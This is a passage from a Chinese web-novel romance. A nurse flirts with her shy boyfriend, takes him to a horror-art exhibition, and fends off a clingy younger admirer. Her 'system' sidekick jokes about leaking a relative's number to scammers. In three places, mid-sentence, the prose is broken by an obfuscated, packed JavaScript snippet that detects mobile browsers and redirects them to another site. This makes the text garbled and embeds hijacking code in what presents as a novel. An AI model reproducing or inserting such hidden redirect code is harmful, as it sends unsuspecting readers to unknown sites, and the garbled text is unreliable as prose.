曲江吟将胳膊肘放在桌子上,支起前臂,托住下巴,饶有兴味地打量着他,“想勾/引我完全可以明着来,比方说,装作不经意的样子露一露腹肌、胸肌啥的,没必要用这种弯弯绕绕的方式。” 这下,充斥在徐逸风脑子里的情绪,除了漫无边际的羞涩,还有无尽的迷茫。 我在勾/引她?我怎么不知道呢? 此刻,徐逸风的确没有勾/引她的念头,但欲加之罪,何患无辞? “其实,如果你说你正准备洗澡,不也算一个合理的理由吗?结果呢,你明知道我什么性格,却偏要说出实情,这不是勾/引是什么?嗯?” 实话实说也算勾/引? 听了她的歪理,徐逸风简直无奈到了极点,倒是没那么害羞了。 单手托腮的曲江吟将脸稍微侧过去一点,先垂眸再缓缓掀起上眼皮,定定地望着他,丝毫不担心他看穿自己眼底的觊觎,笑得像只紧盯笼中之鸟的猫咪。 “我虽然是个色/胚,但跟那些张嘴就是看看腿的色/胚不一样,比起腿,我更关心衬衫夹的质量O不OK,所以你千万不要有什么心理负担,直接把手机镜头对准衬衫夹就行。” 被她用极具侵略性的眼神盯着、用诙谐又露/骨的言语挑逗着,他怎么可能没有心理负担?他的心理负担都快压得他喘不过气了! “不……”他想说不行,却狠不心来拒绝江吟,憋了半天仅仅蹦出个“不雅”来。 曲江吟自然能理解他的意思,但这并不妨碍她装作没听懂的模样,好整以暇地反问道:“不雅?还好吧,你又不是在公众场合,在自己家里当然是怎么舒服怎么来,别说不穿裤子了,就算□□又咋滴?” “可……可我觉得自己这副样子实在是有碍观瞻。检查的事没必要麻烦你,我已经亲自上身试过了,衬衫夹的质量相当不错,不仅夹得牢,绑在腿上还一点儿都不勒。” “哪里有碍观瞻了?难道你没刮腿毛?” “呃……”这个出人意料的问题让徐逸风愣了一下,他低头扫了一眼自己的腿,迟疑了几秒,也不知是在喃喃自语,还是在向她解释:“我的腿毛很少。” 曲江吟把另一只手也放到桌上,双手托住下巴,愉快地用手指的指腹轻敲脸颊,眉飞色舞地说:“我觉得……光溜溜的腿摸着更带劲儿!” 他想都没想就回了一句“我待会儿就去把腿毛刮干净”,为了博取她的喜爱而做出改变,貌似已经在他脑中形成牢不可破的固定思维了。 说完他才发觉自己的言行很不对味儿,私底下刮掉就得了,干嘛要说出来呢? 她刚说她喜欢摸光溜溜的腿,他就迫不及待地做出刮毛的保证,这样真的好像在……邀/宠啊…… 难不成江吟说的是对的?他就是喜欢暗戳戳地勾/引她,只不过他自己没有意识到而已? 20. 020 曲江吟没忍住笑出了声,“我真是服了你了,明明巴不得我翻你的牌子,又生怕我看光你的身子,怎么会有人既奔放又含蓄?” 说话时,她一直用手指把玩着耳边的秀发,再次在尴尬面前败下阵来的徐逸风,没敢和她对视,涣散的目光落在她纤瘦灵巧的手上。 “不过,”她的笑容忽然变得意味深长,眼神也变得格外缱绻,“这股矛盾的气质可真令人着迷,迷得我五迷三道的。” 情话再土,也像下蛊。 愉悦犹如满级大佬,一脚将称霸新手村的尴尬踢到九霄云外,傍上如此强悍的大佬,徐逸风的嘴角简直比AK还难压。 “那么……迷人的徐逸风先生,你愿不愿意陪我去参观恐怖大师的画展呢?门票我已经买好啦,时间是21号,也就是周三下午,那天你有空吗?” 曲江吟说得云淡风轻,徐逸风却听得心潮腾涌,答得异常干脆:“有!” 其实他和几个朋友约好了21号那天要一起聚一聚,但天大地大,约会最大,和朋友聚会哪比得上和女友约会重要啊? 挂断视频通话之后,曲江吟打算去洗澡。 她把手机放下,起身朝卫生间走去,没走多远便听到了清脆的消息提示音。 她回到桌边,拿起手机看了一下,是安歆语发来的微信消息。 安歆语:气死我了!安存海那个老登不知从哪儿弄到了我的联系方式,各种逆天的恶臭发言差点儿害得我把隔夜饭都吐出来!还臭不要脸地打听我哥的抚恤金有多少、你俩买的房子在哪儿!我就不明白了,他这种畜牲不如的东西怎么还没有遭报应? 曲江吟:他还挺执着。 安歆语:什么意思?难道他还骚扰过你? 曲江吟:嗯,他之前给我打过电话,不仅惦记钧羽的抚恤金、我俩的房子,还像个疯狗一样冲我狺狺狂吠,被我骂了一顿拉黑了。 安歆语:干得漂亮!可惜我不擅长骂人,不然一定要骂得他找不着北!一个无耻下作的人渣,居然有脸用血缘关系来道德绑/架我!真是恶心他妈给恶心开门,恶心到家了!!! 曲江吟:确实,越无耻的人,越喜欢搞道德绑/架。 安歆语:他还打着关心我的名义来打听我的工作和收入,呵呵!他把我当傻子,我拿他当乐子!我说我走线去阿美莉卡了,天天吃着一美元炸鸡,住着零元/购别墅,甭提有多爽了!可惜他没信,不然我就从网上找几个黑中介介绍给他了。 曲江吟:他做梦都想抢走我的票子和房子,就算炸鸡和别墅是真的,多半也没心思出国。 安歆语:让他继续梦吧,最好再也别醒过来!吟姐,我跟你说,最搞笑的是,他发现我不吃他那一套后,竟然破防了,骂骂咧咧地说要去法院起诉我,让我支付赡养费,呸!想得美!我付他个大头鬼! 曲江吟:没事儿,他又不知道你是全平台粉丝超千万的知名影视解说博主,在他眼里,我才是值得大宰特宰的肥羊,如果他真打算起诉,绝对会先拿我开刀。房子和他没有半毛钱的关系,他铁定占不到便宜,钧羽的抚恤金就难说了。 安歆语:我和哥哥的抚养费,他一毛钱也没出过,哪来的脸索要我哥的抚恤金?吟姐,你放心,要是他敢起诉,我就去法庭上作证,证明他从来没付过抚养费,不配拿我哥的抚恤金! 这时,系统义愤填膺地嚷嚷道:“这个阴魂不散的狗东西!既然他这么爱财,我就把他的号码泄露给那些搞电诈的!让他好好体验一下自己的钱被别有用心的人惦记是一件多么恶心的事!” “好主意,不过,别指望他会就此罢手,他这种把无耻刻进基因的渣滓可不会改过自新,只会变本加厉。” “那咋办?”系统很不甘心,安存海简直比苍蝇还要烦人,虽然拍死这只苍蝇对它来说不是什么难事,只要他敢露面,它就能神不知鬼不觉地干掉他,奈何曲江吟是个坚守底线的人,不愿为了泄愤而杀人。 “兵来将挡水来土掩见招拆招呗。” 系统默默地叹了一口气,“我还是希望他早日嗝儿屁,这样你才能一劳……不对,不劳永逸。” “实话跟你说吧,我也盼着他早点儿遭报应倒大霉呢,比方说,突发中风瘫痪在床啥的,所以天天在心里画圈圈诅/咒他呢。” “宿主啊,你啥都好,就是过于仁慈了,对待情人可以如春风般温柔,对待敌人就该如猛兽般狠辣!” 曲江吟对系统的话置若罔闻,因为她正忙着和安歆语聊天,没工夫和系统掰扯…… 周三上午,曲江吟还得上班,好在今天来体检的人不算太多,她忙到十一点多就把所有人的检查都做完了。 她刚闲下来,饥肠辘辘的感觉便涌了上来。 正当她和张青果讨论哪家麻辣烫最好吃的时候,隔壁心电图室的陈若娴推开门走了进来。 她倚着门,抬起双手,食指交叉比了个“十”,挤出一抹苦涩的笑容,开玩笑说:“二位,我要宣布个大事儿,本人已是十拒镜的大能了。” 张青果没发现她的异样,一拍大腿,嬉笑着调侃道:“嗐!多大点儿事儿呀,不就是第十次相亲又告吹了吗?至于么?这次是因为啥?说出来让我和曲姐乐呵乐呵呗。” 陈若娴没好气地拍了一下张青果的肩背,“行啊你,竟敢拿我取乐!我可是十拒镜的大能,刚才那一掌,凝聚了我孤寡多年的深厚功力,你个小卡拉米,就等着内分泌失调吧!” “小卡拉米?”张青果扯起嘴角,露出标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352323|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准的“歪嘴战神”笑,“哼!我可是母单二十来年的寡王,你那点儿浅薄的功力,在我面前根本不够看的!” 得,这两活宝又开始耍宝了。 曲江吟满脸无奈,“行啦,你俩别闹了,我还想听若娴好好讲一讲这次相亲为啥会失败呢。” 陈若娴那双熠熠生辉的眼睛顿时被浓郁的沮丧笼罩。以往她吐槽那些奇葩相亲男时,表情总是嫌弃加不屑,这次她的神情却格外复杂。 “介绍人说他比较内向,我压根儿没当回事儿,还寻思着男人内向一点儿也挺好,踏实可靠话还少,正好跟我这个碎嘴子互补,可是,我万万没想到啊,内向只是他的伪装,变/态才是他的本色!” 曲江吟和张青果的好奇心一下子被吊了起来。 “他没暴露自己的真面目前,我真的蛮喜欢他的,瘦瘦高高的身材,清俊秀气的长相,直率大方的性格,比之前那些歪瓜裂枣强得不是一星半点。我本以为自己终于有机会脱单了,正犹豫要不要向他表白呢,结果那天晚上我们在微信上聊天的时候,他忽然问我喜不喜欢猫。” 说到这里,她顿了一下,后怕撵走五味杂陈,独占她的脸庞。 “我喜欢狗不喜欢猫,所以当时回了一句不喜欢,我以为他会问我为什么不喜欢,没承想他突然给我发了一段视频,我点开一看,差点儿被小猫凄厉的惨叫声刺破耳膜!那居然是虐猫的视频!” “啊?”目瞪口呆的曲江吟和张青果异口同声地发出饱含震惊与费解的声音。 张青果挠了挠脑门儿,“我不理解,他这么做图啥啊?” “我也不知道啊,”陈若娴两手一摊,语气愤慨,语调高亢,“我人都被吓懵了,他居然恬不知耻地宣称那段视频是他的杰作!最离谱的是,被我大骂变/态之后,他竟然妄图给我洗脑,扯了一大堆流浪猫泛滥的危害,还大言不惭地说,他是为了保护野外的鸟类才这么做的!” “笑话!对野生鸟类来说,偷猎者的威胁比流浪猫大多了,他真想保护鸟类的话,怎么不去虐/杀偷猎者呢?”曲江吟双手抱臂,一脸鄙夷。 张青果附和道:“对呀,不敢招惹穷凶极恶的偷猎者,只敢欺负比他弱小的流浪猫,这不妥妥的欺软怕硬吗?那个死变/态可真虚伪!” “哎……”陈若娴深深地叹了一口气,“我有个高中同学是警察,我问过她这种情况报警有用没,她说如果那人杀的是家猫,还可以用损害私人财产之类的罪名来制裁他,但那人专挑流浪猫下手,流浪猫又不属于保护动物,所以她们也拿这种人没什么办法。” 张青果猛地拍了拍桌子,忿忿不平地说:“以欺/凌弱小为乐的人渣就是预备役罪犯,把他们统统抓进去踩缝纫机才能防患于未然!” 21. 021 陈若娴再度叹气,明明不是很累,却散发着浓浓的疲惫,“摊上这么个人面兽心的变/态,我真是倒霉透了!不过,从另一个角度来看,我又是幸运的,即使遇到变/态也能早早抽身。遇人不淑泥足深陷抱憾终身的人多得数都数不过来,我可不想步入她们的后尘。” 张青果单手托腮,满脸惆怅,“听你这么一说,我都不敢谈恋爱了,你精得跟猴似的,都差点儿上当,我这种被人卖了还上赶着帮忙数钱的傻瓜可怎么办呦?” “你咋还自己埋汰自己呢?”曲江吟一把按住张青果的肩膀,“你这不叫傻,叫单纯,想避免上当受骗其实很简单,只要你永远把自己的利益和尊严放在第一位就行,爱谁都不如爱自己。” “就是!谁都不能越过你自己,”陈若娴走到诊疗床跟前,掀开蓝色的一次性床单,一屁股坐了上去,“以后要是遇到需要你低三下四或者不断花钱才能讨好的男人,赶紧撤,千万别回头!” 张青果翘起二郎腿,臭屁地说:“放心好啦,我还等着老天把颜值高、身材好、家底厚的年轻男人直接送到我门口呢,哪有工夫玩儿什么卑微追爱?至于花钱追爱,那就更不可能了,谁不知道我张青果是葛朗台转世啊?” 曲江吟伸手指了指张青果的口袋,微笑着用搞怪的翻译腔提醒道:“哦,亲爱的张?葛朗台?青果女士,你的手机快要掉出来了。” “我去!”张青果连忙把手机塞回去,“我刚换的屏幕,可不能再碎喽!” …… 下班之后,曲江吟匆匆赶往楼下,发尾在碎金般的阳光里跃动,衣摆在轻纱般的微风里飘扬,轻快规律的脚步声犹如一连串音符,奏响欢快悠扬的乐章。 她的心情好极了,哪怕在医院里大声喧哗追逐嬉戏的熊孩子差点儿撞到她,她也能笑着原谅对方。 都说下班不积极,思想有问题,但她的快乐不全是下班给的,即将见到徐逸风这件事才是促进多巴胺分泌的关键因素。 见她从头发丝儿到脚后跟儿,浑身上下无不洋溢着愉快的气息,系统忍不住用流里流气的语气揶揄道:“呦~见个小情人儿而已,至于这么着急吗?” “切!你懂啥?马上就能见到我那容易害羞却无比乖顺的大帅哥男友了,我能不激动吗?” “嘻嘻嘻嘻……”系统笑得像个猥琐的二流子,“这次你准备怎么调/戏他?” “调/戏多难听啊,再说,你情我愿的事能叫调/戏吗?那叫调情!” “哦,好吧,”系统换了个问法,“那你准备怎么和他调情呢?” 曲江吟却卖起了关子:“我干嘛要告诉你?” 系统没再多问,小声BB道:“啧啧啧!热恋期的小情侣,真是腻死个人!” 她和徐逸风算不算步入热恋期了呢?说实话,她自己也不清楚,反正一想到他,她的心就跟盛满热可可似的,热乎又甜蜜。 她难得没有开车,因为徐逸风说要过来接她。 走出医院大楼后,她马不停蹄地直奔停车场。 来到停车场,隔着十来米的距离,她一眼就看到了西装革履帅出新高度的徐逸风。 徐逸风不熟悉这里,以为停车场只有一个出入口,便一直张望着人/流量最大的方向。 曲江吟刻意放缓脚步,试图悄悄走到他身后,吓唬一下他。 然而她忽视了非常重要的一点——很多人都能敏锐地感应到他人的视线,尤其是在一直被盯着的情况下。 被她那灼人的目光紧盯不放,徐逸风怎么可能一无所觉? 他下意识回头望去,瞥见那抹朝思暮想的身影后,他的眼睛仿佛床头的小夜灯一样,唰的一下就亮了。 明明每天都会视频联系互诉衷肠,两人却像久别重逢一样热切地抱在了一起。 曲江吟鼻翼翕动,喟叹道:“你好香啊!正好我今天没喷香水,咱俩多抱一会儿,把你身上的香味儿匀我一点儿。” “好啊,”徐逸风收紧手臂,蹭了蹭她的脸蛋,笑得异常温柔,“可是你不饿吗?” 曲江吟故意用绵软无力的声音说:“我都饿得走不动道了,为了见你,才艰难地拖着饥饿难耐头晕眼花的身体来到你身边。” 紧接着她又换回元气满满的声音,朗声问道:“怎么样?感动不?” “超级感动!”徐逸风明知她是在开玩笑,仍旧开心得不得了,顺带也跟她开起了玩笑,“既然你走不动了,我抱着你上车吧?” 他本以为她不会答应,毕竟这里是人来人往的停车场,不料她却欢欣雀跃地答应了:“好呀,来吧!我早就想被你公主抱了!” 惊讶刚在他心里冒头,就被飞速膨胀的喜悦磨灭了。 他双膝弯屈,一只手牢牢地托住曲江吟的后背,另一只手穿过她的腘窝,抬起她的双腿,将她打横抱起,调头走向车子。 曲江吟瞧了瞧那辆名字叫总裁的车,又瞅了瞅一身老钱风穿搭、不怎么霸道、却总裁范儿满满的徐逸风,随口问道:“换车了?你那辆保时捷呢?” “在4S店做保养呢。” 她再次看向那辆车,面露回忆之色,“一看到这辆车,我就想起一位人美心善慷慨大方的富姐。去年万圣节的时候,我骑个单车出门cos代驾去了,偶遇那位慧眼识人的富姐,非要让我给她当代驾,还给了我两千块钱小费,然后,我就开着她的玛莎拉蒂总裁把她送回了家。今年万圣节,我打算开车出去cos网约车司机,没准儿又能小赚一笔!” 徐逸风眼巴巴地看着她,“那……我能不能cos你的乘客啊?” 曲江吟捏了捏他的脸,笑盈盈地说:“可以呀,你可以坐在后排,cos被黑车司机拉着兜圈子却敢怒不敢言的倒霉乘客。” “副驾不行吗?我想坐副驾。” 曲江吟借着收手的动作,用食指的指关节轻轻滑过他的嘴唇,别有深意地说:“你坐在副驾,我哪有心思开车啊?” 徐逸风心说“那我必须往副驾上坐了”,不过这种露骨的话他不好意思说出口。 “放我下来吧,我自己上车。医院的车位画得贼小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357289|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,车稍微大一点儿,开门儿都费劲,只有宏光mini那种萌萌哒的小车能完全把车门打开。” 上车之后,徐逸风正准备把安全带系上,曲江吟突然把手按在他的大腿上。 徐逸风:??? 还好她仅仅摸了一下就收回了手,不然他都不知道自己该怎么办了。 “看来我的礼物买对了。” 原来她是在摸他腿上有没有衬衫夹。他暗暗松了一口气,慌乱的心情烟消云散,羞窘的神色恢复如常。 他点了点头,“挺好用的,我很喜欢。” “喜欢就好,”曲江吟眉梢眼角俱是笑意,“你皮肤白,我觉得胸链比胸带更适合你,所以从网上买了一些布灵布灵的胸链,应该要不了多久就会送到你家,到时候要戴给我看哦~” 上扬的尾音如同一把钩子,将他的心高高吊起。 有了上次的经验,他以为江吟又想在视频通话的时候让他试给她看,他相当乐意却不愿轻易遂了她的心意,便大胆地回了一句:“我觉得……当面试戴更加直观。” 可他忽略了一个事实,论大胆,他在曲江吟面前就是个弟弟。 只听她语不惊人死不休地回复道:“巧了,我也是这么想的,试想一下,闪闪发亮的胸链从你身上垂下来,在我眼前不停地晃来晃去,啧!那得多香/艳、多梦幻啊!” 旖旎的联想率领泵出心脏的血液,一窝蜂地冲向徐逸风的脸庞。 空白的大脑无法下达明确的指令,无措的双手死死握住方向盘,曲江吟轻描淡写的几句话,就让他引以为傲的理智溃不成军。 害他方寸大乱的曲江吟,非但没有一丝自责的念头,反而扬起怡然温婉的笑容,拍了拍他的手臂,温声细语地说:“虽说厚脸皮是骂人的话,但你的脸皮未免也太薄了吧?红成这样,不知道的,还以为你在酒/驾呢!” 徐逸风想说“都怪你”,又觉得这话太过矫情,纠结来纠结去,最终低声咕哝了一句:“知道我开车,还撩拨我?” “不是你说要当着我的面试戴的吗?要知道,我这人定力约等于没有,你真试给我看,我绝对把持不住,所以呢,我只是合理地想象了一下试戴之后的美好画面,没别的意思。” 徐逸风夹紧双腿,把手交叠在方向盘上,又把通红的脸埋在胳膊上,弱弱地哀求道:“别说了,江吟,求求你,别说了。” 曲江吟没再说话,像撸猫一样,摸了摸他的脊背…… 徐逸风先带她去了一家有口皆碑的饭店,吃完饭才驱车前往谛凡艺术中心。 恐怖大师的画展在三楼会展大厅举办,她们从电梯出来,穿过宽阔的走廊,转过拐角,迎面碰到两个熟人。 目光死死粘在曲江吟脸上、满脸激动的柳琢玉,以及眼珠子滴溜溜乱转、一脸八卦的张玮峘。 心心念念的人忽然出现在眼前,是个人都会无比激动。 柳琢玉直勾勾地盯着曲江吟,无视徐逸风骤然变冷的视线,眉飞色舞地向她打着招呼:“这么巧!你也是来看展的吗?” 22. 022 “嗯,”曲江吟摇了摇她和徐逸风十指相扣的手,“我和我男朋友一起来看展,没想到你们也喜欢恐怖大师的画。” 闻言,徐逸风心里舒坦多了,比三伏天咕嘟咕嘟灌了一大口冰镇饮料还要舒坦。 柳琢玉心里却酸溜溜的,除了酸,他还特别不服气,这个老男人有什么好的?他暗中发誓,他早晚要取代这个老男人,光明正大地站在江吟身边! “喜欢,非常喜欢。”柳琢玉故意不加宾语,深情地凝望着曲江吟的眼睛。 曲江吟尬住了,现在的小年轻这么勇的吗?不怕挨揍吗? 徐逸风的拳头硬/了,这货怎么敢的? 眼下,最激动的人莫过于张玮峘了,一向看热闹不嫌事大的他,直接手舞足蹈地起哄道:“打起来!打起来!” 柳琢玉抡起胳膊,瞪着张玮峘,一副要收拾他的架势,“皮痒了?” 张玮峘急忙后撤一步,先抬起手臂挡住脸,随后模仿川剧变脸的动作,唰的一下放下手臂,露出挑衅搞怪的鬼脸,贱嗖嗖地说:“你们打得不可开交,我才有机会喊出那句名台词啊!” 他掐着嗓子,做作地念叨着那个广为流传的热梗:“住手!快住手!你们不要再打了啦!” “神经!” 若非曲江吟就在一旁,柳琢玉早竖起中指,出口成脏了,怎么可能骂个毫无杀伤力的“神经”就算了? 徐逸风拉着曲江吟朝展厅走去,柳琢玉忙不迭跟了上去,张玮峘不慌不忙地走在最后,大声问道:“不去买饮料了吗?” 柳琢玉头也没回,直接摆了摆手,“不买了,看展要紧!” 张玮峘撅起下嘴唇,翻了个白眼,暗自腹诽道:鬼扯!分明是撬墙角要紧! 面对阴魂不散的柳琢玉,徐逸风脾气再好也忍不住发火了,“当跟屁虫有意思吗?” “我没想当跟屁虫啊,去展厅不都是这么走的吗?”柳琢玉满脸委屈,语气要多无辜有多无辜。 “这么宽的过道,你偏要跟在我们后头,你不是跟屁虫,是什么?跟踪狂吗?” “可是……”柳琢玉欲言又止,神情愈发委屈。 徐逸风看着他这副矫揉造作的死样就来气。 柳琢玉垂眸避开他冷厉的视线,似乎被他吓到了,其实是为了遮蔽眼底的挑衅,“从哪儿走,怎么走,是我的自由,谁也无权干涉。” 徐逸风嘴笨,仅仅几个回合就败下阵来,被看似装无辜实则耍无赖的柳琢玉噎得说不出话来。 明明是这货有错在先,现在却表现得像是被他欺负了似的,简直无耻至极! 男友受委屈,曲江吟当然不会坐视不理,她脸色一沉,斜了柳琢玉一眼,语气不善地说:“哪有人上赶着当电灯泡的?” 这下,柳琢玉是真觉得委屈了,“我没有……” 曲江吟一把环住徐逸风的腰身,面色不耐地嚷嚷道:“我不管!你不许跟着我俩!” 柳琢玉破罐子破摔地说:“谁乐意跟着他啊?我只想跟着你!” 曲江吟头都大了,“我俩约会,你凑什么热闹啊?” “我不管!我买了门票,你总不能不让我进去吧?” 看来他是铁了心要当电灯泡了。 徐逸风深呼一口气,强行压下心头的怒意,看着怀里的曲江吟,无奈地说:“算了,走吧,当他不存在得了。” 这时,张玮峘走到柳琢玉身旁,用胳膊肘捅了捅他,压低声音说道:“哎,我发现一个奇怪的现象,居然没人围观你们仨儿的狗血大戏!喜欢看热闹不是人类的天性吗?那些人咋能无动于衷呢?” 听他这么一说,柳琢玉也察觉出不对了,不过他没工夫细想,不耐烦地回应道:“大惊小怪!人家是来看画的,又不是来围观别人的感情纠纷的。” 张玮峘瘪了瘪嘴,毫不客气地拆台道:“啥感情纠纷呀?你可真能胡诌!分明是你单方面骚扰人家!况且,撬墙角不应该私底下偷偷来吗?哪有你这样搞的?” 柳琢玉抬腿就踹,张玮峘火速闪开,“哎嘿,你踹不着!” 柳琢玉懒得搭理他,就算曲江吟不乐意,他也要厚着脸皮跟过去,像个小尾巴一样缀在她身后。 张玮峘慢悠悠走在后面,心想:不撞南墙不回头说的就是柳琢玉吧?人家两个明显是在甜蜜约会,他凑上去干嘛?他也不想想,谁会喜欢一个给自己添堵的人啊? 进入展馆,柳琢玉继续发挥狗皮膏药的本色,亦步亦趋地尾随曲江吟,用自己的眼睛记录着她的一颦一笑。 这都是美梦的素材啊,他当然要尽心记录,虽然现实里的她暂时不属于他,可梦里的她从头发丝儿到脚趾尖儿都是他的! 徐逸风的冷眼,他笑颜以对,徐逸风的奚落,他充耳不闻,主打一个“你骂你的,我跟我的”。 要不是在公众场合打架非常丢人,徐逸风真想一拳头挥过去,砸烂柳琢玉那张面目可憎的脸! 提出当柳琢玉不存在的人是徐逸风,结果真正做到的人却是曲江吟。 不愧是享誉全球的恐怖大师,每一幅画都极具视觉冲击力。画布有边界,想象没有,笔触有尽头,情绪没有。画布的边界框不住画师无穷的想象,笔触的尽头拦不住观者扩散的情绪。 张玮峘从来没见过好兄弟这副死皮赖脸的鬼样子,今天算是开了眼了,一开始他还觉得挺稀奇,没过多久就看不下去了。 他这种德行,别说撬墙角了,撬块儿地砖都费劲! 为了让柳琢玉稍微收敛一点,张玮峘走过去掏出手机,强硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362011|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地塞到对方手里,笑嘻嘻地说:“帮我拍个照吧。” 柳琢玉嘬了嘬牙花子,不情不愿地举起手机对准他。 只见他走到一幅画前,上半身往前探,肩胛骨向后打开,脸上还挂着呆板的笑容,整个人看上去无比怪异。 “不是,哥们?你确定要这么拍?”柳琢玉眉头紧拧,漂亮的眼睛写满了狐疑。 “这你就不懂了吧?好好看,好好学,我这招叫大鹏展翅!”说着,他又重新示范了一下“大鹏展翅”的标准姿势。 “哈?”柳琢玉愈发不解,曲江吟却笑出了声。 看到她的反应,张玮峘有些激动,心说“终于有人能get到这个梗了”。 激动之余,他还不忘装腔作势地说:“曲小姐,很高兴你也喜欢艺术,并且有自己的见解。” 曲江吟笑得更灿烂了,张玮峘却被徐逸风和柳琢玉犀利的目光刺得心里直发毛。 徐逸风十分疑惑,这小子为什么能让江吟开怀大笑? 柳琢玉倍感嫉妒,死猴子凭什么能让江吟开怀大笑? 张玮峘瞥了柳琢玉一眼,心说“这就眼红了?真没出息”,然后快步走到曲江吟面前,冲她挤了挤眼睛,笑眯眯地说:“曲同学,咱俩合个影呗!” “同学???”柳琢玉的脑子瞬间挤满了问号。 “好啊!”曲江吟已经猜到这位热衷于玩梗的小伙子八成又要玩梗了。 “虽然她是世界上照片最多的人,但她有个拍照姿势挺出圈的,我早就想复刻一下了,你不介意我握一下你的手吧?” “当然不介意。”心领神会的曲江吟强忍笑意,朝他伸手。 张玮峘无视柳琢玉见鬼般的神情,大声指使道:“听到没?曲姐要跟我合影,好好拍!拍不好我可是会发飙的喔!” 说罢,他轻轻捏住曲江吟的手指,身体半蹲,嘴角上扬,扯出一抹说不清是娇羞还是谄媚的笑容,整个人看起来矫情又诡异。 柳琢玉心不甘情不愿地按下拍摄键,拍完,他眼巴巴地望着曲江吟,可怜兮兮地恳求道:“江吟,我也想跟你合影。” 原本一头雾水的徐逸风,听见他的话后,立刻扭头瞪着他,张嘴反驳道:“不行!” 说完他才意识到不妥,江吟是他的女友,不是他的所属物,他不该越俎代庖,没问过她的意愿,便替她做出决定。 “为什么不行?江吟是玮峘的同学,我也是玮峘的同学,这意味着什么?意味着我和江吟也是同学!同学之间合个影怎么了?你凭什么反对?” 尽管柳琢玉完全不理解玮峘为何会称呼江吟为同学,但这并不妨碍他利用这点来反击徐逸风。 徐逸风愣了一秒,皱着眉反问道:“你当我傻吗?你们怎么可能是同学?” 23. 023 曲江吟开口解释道:“我和张玮峘是同修网络热梗的同学,不是同在学校上学的同学。” “我和你就算不是同学,也是熟人吧?熟人一起照个相也很正常啊!”柳琢玉继续对她展开眼神攻势,同时将手机笼在掌心双手合十,一副她不答应,他就要摇着手说“拜托拜托”的架势。 不得不说,长得好看就是有优势,被他这样看着,曲江吟会联想到狗狗乞食,被长相抱歉的人这样看着,她只会联想到苍蝇搓手。 “我来帮你们拍,不是我吹,我的拍照技术可是一绝,保准把你们拍的比超模还要光彩照人!”张玮峘适时送上助攻。 此刻,最纠结的人不是曲江吟,而是徐逸风。 他好气呀!怎么会有这么不要脸的人?要不是他不能替江吟做决定,他真想破口大骂,让这个碍眼的家伙赶紧滚!滚得远远的! “行啊。”曲江吟挑了挑眉,眼中闪过几丝玩味。 狂喜降临在柳琢玉心间,照亮他的眼睛,重塑他的表情。 徐逸风眼神一暗。 “不过……”曲江吟下巴微抬,唇角勾出意味深长的弧度。 狂喜开始抽离,柳琢玉那颗在云间徜徉的心渐渐失去浮力,从云端缓缓下坠。 徐逸风眼含期待。 “待会儿你得帮我和我男朋友拍张照。”曲江吟大大方方地给徐逸风抛了个媚眼。 笑容像个见异思迁的渣男,无情地抛弃柳琢玉,转头就和徐逸风的脸双宿双飞了。 没人愿意把自己比作狗子,可现在看来,合影的承诺真的好像香喷喷的肉骨头啊!一想到啃完这根骨头,还有一大碗酸不拉几的狗粮等着他,柳琢玉就异常难受。 然而,和心上人合影的诱惑实在是太大了,柳琢玉根本抵抗不了,只能一边默默地安慰自己——不就是狗粮吗?他又不是没吃过!况且,最近不是特别流行什么年下小奶狗吗?给江吟当小奶狗,他乐意之至!一边乖巧地答应下来。 他噙着腼腆的笑容,走到曲江吟身边,将张玮峘的手机以及他自己的手机一并交给张玮峘。 曲江吟站得笔直,两只手十指交叉,放在身前。 柳琢玉瞧了瞧她的脸,又看了看她的手,一想到玮峘都能轻易牵到她的手,而他连跟她合影都得费尽心思,心里就分外吃味。 不过,他很清楚自己不能把时间浪费在拈酸吃醋上,他必须尽快想出一个pose,一个和她有情侣相的pose! 可惜他绞尽脑汁,直到张玮峘举起手机也没能想出一个合适的pose来,只好仿照江吟的动作,双手十指交叉放在身前,面带微笑,看向镜头。 他和曲江吟的第一张合照就这么拍好了。 接下来才是重头戏,张玮峘还手机的时候,特意拍了拍柳琢玉的肩膀,小声调侃道:“不管她们如何花式秀恩爱,你都得好好拍,加油!拿出你身为舔狗的气量来!” 柳琢玉甩开他的手,用嘴型无声地骂了一句:“滚一边儿去!” 这时,徐逸风走了过来,没再对他怒目而视,反而挂着独属于胜利者的骄矜笑容。 他拿起手机,用略显生疏的演技装作不经意的样子,将自己的手机壁纸——一张他亲吻曲江吟额头的照片,展示给柳琢玉看。 柳琢玉的脑子顿时被脏话刷屏,他咬紧后槽牙,皮笑肉不笑地接过手机。 曲江吟一把揽住徐逸风的腰,开始跟他商量一会儿要摆什么姿势。 要是换个人少的地方,徐逸风必然首推亲吻的姿势,让柳琢玉那个混球好好看看谁才是江吟的男朋友! 